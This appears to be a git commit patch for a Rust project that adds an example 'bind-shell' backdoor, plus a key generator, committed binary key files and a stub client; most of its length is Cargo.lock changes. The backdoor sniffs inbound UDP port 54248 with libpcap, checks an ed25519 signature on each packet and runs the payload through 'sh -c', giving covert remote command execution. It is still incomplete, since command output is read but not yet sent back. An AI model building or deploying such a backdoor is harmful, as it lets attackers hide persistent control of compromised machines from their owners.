From 9e893dbce98e568eeb90215d61bfd6d62b492126 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Fri, 28 Apr 2023 17:19:09 -0400 Subject: [PATCH] feat: added command parsing and spawning --- .devcontainer/Dockerfile | 2 +- .gitignore | 4 +- Cargo.lock | 340 +++++++++++++++++- Cargo.toml | 2 +- examples/bind-shell-backdoor/src/main.rs | 61 ---- .../backdoor}/Cargo.toml | 7 +- examples/bind-shell/backdoor/src/main.rs | 143 ++++++++ examples/bind-shell/client/Cargo.toml | 8 + examples/bind-shell/client/src/main.rs | 3 + examples/bind-shell/key-generator/Cargo.toml | 10 + examples/bind-shell/key-generator/privkey | 2 + examples/bind-shell/key-generator/pubkey | 1 + examples/bind-shell/key-generator/src/main.rs | 13 + 13 files changed, 528 insertions(+), 68 deletions(-) delete mode 100644 examples/bind-shell-backdoor/src/main.rs rename examples/{bind-shell-backdoor => bind-shell/backdoor}/Cargo.toml (65%) create mode 100644 examples/bind-shell/backdoor/src/main.rs create mode 100644 examples/bind-shell/client/Cargo.toml create mode 100644 examples/bind-shell/client/src/main.rs create mode 100644 examples/bind-shell/key-generator/Cargo.toml create mode 100644 examples/bind-shell/key-generator/privkey create mode 100644 examples/bind-shell/key-generator/pubkey create mode 100644 examples/bind-shell/key-generator/src/main.rs diff --git a/.devcontainer/Dockerfile b/.devcontainer/Dockerfile index 0c395ec..daa8118 100644 --- a/.devcontainer/Dockerfile +++ b/.devcontainer/Dockerfile @@ -16,4 +16,4 @@ FROM rust:1-alpine RUN apk add bash docker git cmake make automake musl-dev \ - flex bison linux-headers openssl-dev \ No newline at end of file + flex bison linux-headers openssl-dev apache2-utils \ No newline at end of file diff --git a/.gitignore b/.gitignore index 1de5659..0cb0db1 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,3 @@ -target \ No newline at end of file +target +examples/bind-shell-backdoor/pubkey +examples/bind-shell-backdoor/privkey \ No newline at end of file diff --git a/Cargo.lock b/Cargo.lock index 00f1c3e..0d9ca42 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -8,6 +8,17 @@ version = "1.0.70" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7de8ce5e0f9f8d88245311066a578d72b7af3e7088f32783804676302df237e4" +[[package]] +name = "atty" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" +dependencies = [ + "hermit-abi 0.1.19", + "libc", + "winapi", +] + [[package]] name = "autocfg" version = "1.1.0" @@ -19,11 +30,29 @@ name = "bind-shell-backdoor" version = "0.1.0" dependencies = [ "anyhow", + "ed25519-dalek", + "log", "pcap-sys", + "simple_logger", "tokio", "tokio-stream", ] +[[package]] +name = "block-buffer" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4" +dependencies = [ + "generic-array", +] + +[[package]] +name = "byteorder" +version = "1.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" + [[package]] name = "bytes" version = "1.4.0" @@ -42,6 +71,10 @@ version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" +[[package]] +name = "client" +version = "0.1.0" + [[package]] name = "cmake" version = "0.1.50" @@ -51,6 +84,71 @@ dependencies = [ "cc", ] +[[package]] +name = "colored" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b3616f750b84d8f0de8a58bda93e08e2a81ad3f523089b05f1dffecab48c6cbd" +dependencies = [ + "atty", + "lazy_static", + "winapi", +] + +[[package]] +name = "cpufeatures" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e4c1eaa2012c47becbbad2ab175484c2a84d1185b566fb2cc5b8707343dfe58" +dependencies = [ + "libc", +] + +[[package]] +name = "curve25519-dalek" +version = "3.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90f9d052967f590a76e62eb387bd0bbb1b000182c3cefe5364db6b7211651bc0" +dependencies = [ + "byteorder", + "digest", + "rand_core", + "subtle", + "zeroize", +] + +[[package]] +name = "digest" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066" +dependencies = [ + "generic-array", +] + +[[package]] +name = "ed25519" +version = "1.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91cff35c70bba8a626e3185d8cd48cc11b5437e1a5bcd15b9b5fa3c64b6dfee7" +dependencies = [ + "signature", +] + +[[package]] +name = "ed25519-dalek" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c762bae6dcaf24c4c84667b8579785430908723d5c889f469d76a41d59cc7a9d" +dependencies = [ + "curve25519-dalek", + "ed25519", + "rand", + "serde", + "sha2", + "zeroize", +] + [[package]] name = "errno" version = "0.2.8" @@ -161,6 +259,36 @@ dependencies = [ "slab", ] +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.9.0+wasi-snapshot-preview1", +] + +[[package]] +name = "hermit-abi" +version = "0.1.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" +dependencies = [ + "libc", +] + [[package]] name = "hermit-abi" version = "0.2.6" @@ -170,6 +298,26 @@ dependencies = [ "libc", ] +[[package]] +name = "itoa" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "453ad9f582a441959e5f0d088b02ce04cfe8d51a8eaf077f12ac6d3e94164ca6" + +[[package]] +name = "key-generator" +version = "0.1.0" +dependencies = [ + "ed25519-dalek", + "rand", +] + +[[package]] +name = "lazy_static" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" + [[package]] name = "libc" version = "0.2.142" @@ -199,7 +347,7 @@ checksum = "5b9d9a46eff5b4ff64b45a9e316a6d1e0bc719ef429cbec4dc630684212bfdf9" dependencies = [ "libc", "log", - "wasi", + "wasi 0.11.0+wasi-snapshot-preview1", "windows-sys 0.45.0", ] @@ -209,10 +357,25 @@ version = "1.15.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0fac9e2da13b5eb447a6ce3d392f23a29d8694bff781bf03a16cd9ac8697593b" dependencies = [ - "hermit-abi", + "hermit-abi 0.2.6", "libc", ] +[[package]] +name = "num_threads" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2819ce041d2ee131036f4fc9d6ae7ae125a3a40e97ba64d04fe799ad9dabbb44" +dependencies = [ + "libc", +] + +[[package]] +name = "opaque-debug" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" + [[package]] name = "pcap-sys" version = "0.1.0" @@ -236,6 +399,12 @@ version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + [[package]] name = "proc-macro2" version = "1.0.56" @@ -254,6 +423,66 @@ dependencies = [ "proc-macro2", ] +[[package]] +name = "rand" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" +dependencies = [ + "getrandom", + "libc", + "rand_chacha", + "rand_core", + "rand_hc", +] + +[[package]] +name = "rand_chacha" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" +dependencies = [ + "getrandom", +] + +[[package]] +name = "rand_hc" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" +dependencies = [ + "rand_core", +] + +[[package]] +name = "serde" +version = "1.0.160" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb2f3770c8bce3bcda7e149193a069a0f4365bda1fa5cd88e03bca26afc1216c" + +[[package]] +name = "sha2" +version = "0.9.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4d58a1e1bf39749807d89cf2d98ac2dfa0ff1cb3faa38fbb64dd88ac8013d800" +dependencies = [ + "block-buffer", + "cfg-if", + "cpufeatures", + "digest", + "opaque-debug", +] + [[package]] name = "signal-hook-registry" version = "1.4.1" @@ -263,6 +492,25 @@ dependencies = [ "libc", ] +[[package]] +name = "signature" +version = "1.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74233d3b3b2f6d4b006dc19dee745e73e2a6bfb6f93607cd3b02bd5b00797d7c" + +[[package]] +name = "simple_logger" +version = "4.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e78beb34673091ccf96a8816fce8bfd30d1292c7621ca2bcb5f2ba0fae4f558d" +dependencies = [ + "atty", + "colored", + "log", + "time", + "windows-sys 0.42.0", +] + [[package]] name = "slab" version = "0.4.8" @@ -282,6 +530,12 @@ dependencies = [ "winapi", ] +[[package]] +name = "subtle" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6bdef32e8150c2a081110b42772ffe7d7c9032b606bc226c8260fd97e0976601" + [[package]] name = "syn" version = "2.0.15" @@ -293,6 +547,35 @@ dependencies = [ "unicode-ident", ] +[[package]] +name = "time" +version = "0.3.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd0cbfecb4d19b5ea75bb31ad904eb5b9fa13f21079c3b92017ebdf4999a5890" +dependencies = [ + "itoa", + "libc", + "num_threads", + "serde", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e153e1f1acaef8acc537e68b44906d2db6436e2b35ac2c6b42640fff91f00fd" + +[[package]] +name = "time-macros" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd80a657e71da814b8e5d60d3374fc6d35045062245d80224748ae522dd76f36" +dependencies = [ + "time-core", +] + [[package]] name = "tokio" version = "1.28.0" @@ -333,12 +616,30 @@ dependencies = [ "tokio", ] +[[package]] +name = "typenum" +version = "1.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba" + [[package]] name = "unicode-ident" version = "1.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e5464a87b239f13a63a501f2701565754bae92d243d4bb7eb12f6d57d2269bf4" +[[package]] +name = "version_check" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" + +[[package]] +name = "wasi" +version = "0.9.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" + [[package]] name = "wasi" version = "0.11.0+wasi-snapshot-preview1" @@ -367,6 +668,21 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" +[[package]] +name = "windows-sys" +version = "0.42.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7" +dependencies = [ + "windows_aarch64_gnullvm 0.42.2", + "windows_aarch64_msvc 0.42.2", + "windows_i686_gnu 0.42.2", + "windows_i686_msvc 0.42.2", + "windows_x86_64_gnu 0.42.2", + "windows_x86_64_gnullvm 0.42.2", + "windows_x86_64_msvc 0.42.2", +] + [[package]] name = "windows-sys" version = "0.45.0" @@ -498,3 +814,23 @@ name = "windows_x86_64_msvc" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1a515f5799fe4961cb532f983ce2b23082366b898e52ffbce459c86f67c8378a" + +[[package]] +name = "zeroize" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4756f7db3f7b5574938c3eb1c117038b8e07f95ee6718c0efad4ac21508f1efd" +dependencies = [ + "zeroize_derive", +] + +[[package]] +name = "zeroize_derive" +version = "1.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] diff --git a/Cargo.toml b/Cargo.toml index acf8f9f..ee1d5a0 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,5 +1,5 @@ [workspace] -members = ["pcap-sys", "examples/bind-shell-backdoor"] +members = ["pcap-sys", "examples/bind-shell/*"] [profile.release] strip = true diff --git a/examples/bind-shell-backdoor/src/main.rs b/examples/bind-shell-backdoor/src/main.rs deleted file mode 100644 index f4d8452..0000000 --- a/examples/bind-shell-backdoor/src/main.rs +++ /dev/null @@ -1,61 +0,0 @@ -use tokio::{self, sync::mpsc}; -use tokio_stream::StreamExt; -use pcap_sys::{self, packets::EthernetPacket}; -use anyhow::{anyhow, bail}; - -#[tokio::main] -async fn main() -> anyhow::Result<()> { - let mut interfaces = pcap_sys::PcapDevIterator::new()?; - - let interface_name = interfaces - .find(|eth| eth.starts_with("eth")) - .ok_or(anyhow!("Could not get an ethernet interface"))?; - - let mut interface = pcap_sys::Interface::::new(&interface_name)?; - - interface.set_buffer_size(8192)?; - interface.set_non_blocking(true)?; - interface.set_promisc(false)?; - interface.set_timeout(10)?; - - let interface = interface.activate()?; - - if interface.datalink() != pcap_sys::consts::DLT_EN10MB { - bail!("interface does not support ethernet") - } - - enum EventType { - Packet(Result), - Send(EthernetPacket) - } - - let mut packets = interface.stream()?; - let (packet_sender, mut packets_to_send) = mpsc::channel(64); - - while let Some(evt) = tokio::select! { - v = packets.next() => v.map(EventType::Packet), - v = packets_to_send.recv() => v.map(EventType::Send) - } { - match evt { - EventType::Packet(pkt) => { - if let Ok(pkt) = pkt { - tokio::spawn(handle_command(pkt, packet_sender.clone())); - } - } - EventType::Send(pkt) => { - packets.sendpacket(pkt.pkt())?; - } - } - } - - Ok(()) -} - -async fn handle_command( - command: EthernetPacket, - send_response: mpsc::Sender -) -> anyhow::Result<()> { - - - Ok(()) -} \ No newline at end of file diff --git a/examples/bind-shell-backdoor/Cargo.toml b/examples/bind-shell/backdoor/Cargo.toml similarity index 65% rename from examples/bind-shell-backdoor/Cargo.toml rename to examples/bind-shell/backdoor/Cargo.toml index 4de163f..72ea93b 100644 --- a/examples/bind-shell-backdoor/Cargo.toml +++ b/examples/bind-shell/backdoor/Cargo.toml @@ -6,7 +6,10 @@ edition = "2021" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] -tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread", "sync", "process"] } -pcap-sys = { path = "../../pcap-sys" } +tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread", "sync", "process", "io-util"] } +pcap-sys = { path = "../../../pcap-sys" } anyhow = "1.0.70" tokio-stream = "0.1.14" +ed25519-dalek = "1.0.1" +log = "0.4.17" +simple_logger = "4.1.0" diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs new file mode 100644 index 0000000..8436dc1 --- /dev/null +++ b/examples/bind-shell/backdoor/src/main.rs @@ -0,0 +1,143 @@ +use std::process::Stdio; +use std::{sync::Arc, ffi::OsStr}; +use std::os::unix::ffi::OsStrExt; + +use tokio::{self, sync::mpsc, process, io::AsyncReadExt}; +use tokio_stream::StreamExt; +use pcap_sys::{self, packets::EthernetPacket}; +use anyhow::{Context, anyhow, bail}; +use ed25519_dalek::{PublicKey, Verifier, Signature}; + +const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey"); + +#[tokio::main] +async fn main() -> anyhow::Result<()> { + simple_logger::SimpleLogger::new().init()?; + + let pubkey = Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?); + + log::info!("Pubkey is good"); + + let mut interfaces = pcap_sys::PcapDevIterator::new()?; + + let interface_name = interfaces + .find(|eth| eth.starts_with("eth")) + .ok_or(anyhow!("Could not get an ethernet interface"))?; + + let mut interface = pcap_sys::Interface::::new(&interface_name)?; + + interface.set_buffer_size(8192)?; + interface.set_non_blocking(true)?; + interface.set_promisc(false)?; + interface.set_timeout(10)?; + + let mut interface = interface.activate()?; + + interface.set_filter("inbound and udp port 54248", true, None)?; + + if interface.datalink() != pcap_sys::consts::DLT_EN10MB { + bail!("interface does not support ethernet") + } + + enum EventType { + Packet(Result), + Send(EthernetPacket) + } + + let mut packets = interface.stream()?; + let (packet_sender, mut packets_to_send) = mpsc::channel(64); + + while let Some(evt) = tokio::select! { + v = packets.next() => v.map(EventType::Packet), + v = packets_to_send.recv() => v.map(EventType::Send) + } { + match evt { + EventType::Packet(pkt) => { + if let Ok(pkt) = pkt { + let packet_sender_clone = packet_sender.clone(); + let pubkey_clone = pubkey.clone(); + tokio::spawn(async move { + if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await { + log::warn!("Error handling packet: {e}"); + } + }); + } + } + EventType::Send(pkt) => { + packets.sendpacket(pkt.pkt())?; + } + } + } + + Ok(()) +} + +async fn handle_command( + pubkey: Arc, + eth: EthernetPacket, + send_response: mpsc::Sender +) -> anyhow::Result<()> { + use pcap_sys::packets::*; + let eth_pkt = eth.pkt(); + let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + + let data = udp_pkt.get_data(); + + if data.len() < 65 { + bail!("Packet was too short") + } + + let signature: [u8; 64] = data[..64] + .try_into() + .context("could not get signature from command")?; + + let signature = Signature::from(signature); + + let cmd = &data[64..]; + + pubkey.verify(cmd, &signature).context("message provided was unauthenticated")?; + + let cmd = OsStr::from_bytes(cmd); + + log::info!("Received command to execute: {cmd:?}"); + + let child = process::Command::new("sh") + .arg("-c") + .arg(cmd) + .stdin(Stdio::null()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn()?; + + let mut stdout = child.stdout.ok_or(anyhow!("could not get child process stdout"))?; + let mut stderr = child.stderr.ok_or(anyhow!("could not get child process stdout"))?; + + enum Output { + Out, + Err + } + + let mut stdout_buffer = [0u8; 1024]; + let mut stderr_buffer = [0u8; 1024]; + + loop { + let (out_type, Ok(len)) = tokio::select! { + v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v), + v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v) + } else { continue; }; + + if len == 0 { + break; + } + + let msg = &match out_type { + Output::Err => stderr_buffer, + Output::Out => stdout_buffer + }[..len]; + } + + log::info!("Done executing command {cmd:?}"); + + Ok(()) +} \ No newline at end of file diff --git a/examples/bind-shell/client/Cargo.toml b/examples/bind-shell/client/Cargo.toml new file mode 100644 index 0000000..729587b --- /dev/null +++ b/examples/bind-shell/client/Cargo.toml @@ -0,0 +1,8 @@ +[package] +name = "client" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] diff --git a/examples/bind-shell/client/src/main.rs b/examples/bind-shell/client/src/main.rs new file mode 100644 index 0000000..e7a11a9 --- /dev/null +++ b/examples/bind-shell/client/src/main.rs @@ -0,0 +1,3 @@ +fn main() { + println!("Hello, world!"); +} diff --git a/examples/bind-shell/key-generator/Cargo.toml b/examples/bind-shell/key-generator/Cargo.toml new file mode 100644 index 0000000..4f93f92 --- /dev/null +++ b/examples/bind-shell/key-generator/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "key-generator" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +ed25519-dalek = "1.0.1" +rand = "0.7" diff --git a/examples/bind-shell/key-generator/privkey b/examples/bind-shell/key-generator/privkey new file mode 100644 index 0000000..1789ffa --- /dev/null +++ b/examples/bind-shell/key-generator/privkey @@ -0,0 +1,2 @@ +cI +7@BU jTR]z"p*o \ No newline at end of file diff --git a/examples/bind-shell/key-generator/pubkey b/examples/bind-shell/key-generator/pubkey new file mode 100644 index 0000000..983eeb3 --- /dev/null +++ b/examples/bind-shell/key-generator/pubkey @@ -0,0 +1 @@ +ґ:+6ɲ{ j^ص uhTq- \ No newline at end of file diff --git a/examples/bind-shell/key-generator/src/main.rs b/examples/bind-shell/key-generator/src/main.rs new file mode 100644 index 0000000..9316f3a --- /dev/null +++ b/examples/bind-shell/key-generator/src/main.rs @@ -0,0 +1,13 @@ +use std::{fs, io}; + +use ed25519_dalek::Keypair; + +fn main() -> io::Result<()> { + let mut csprng = rand::thread_rng(); + let keypair = Keypair::generate(&mut csprng); + + fs::write("privkey", keypair.secret)?; + fs::write("pubkey", keypair.public)?; + + Ok(()) +}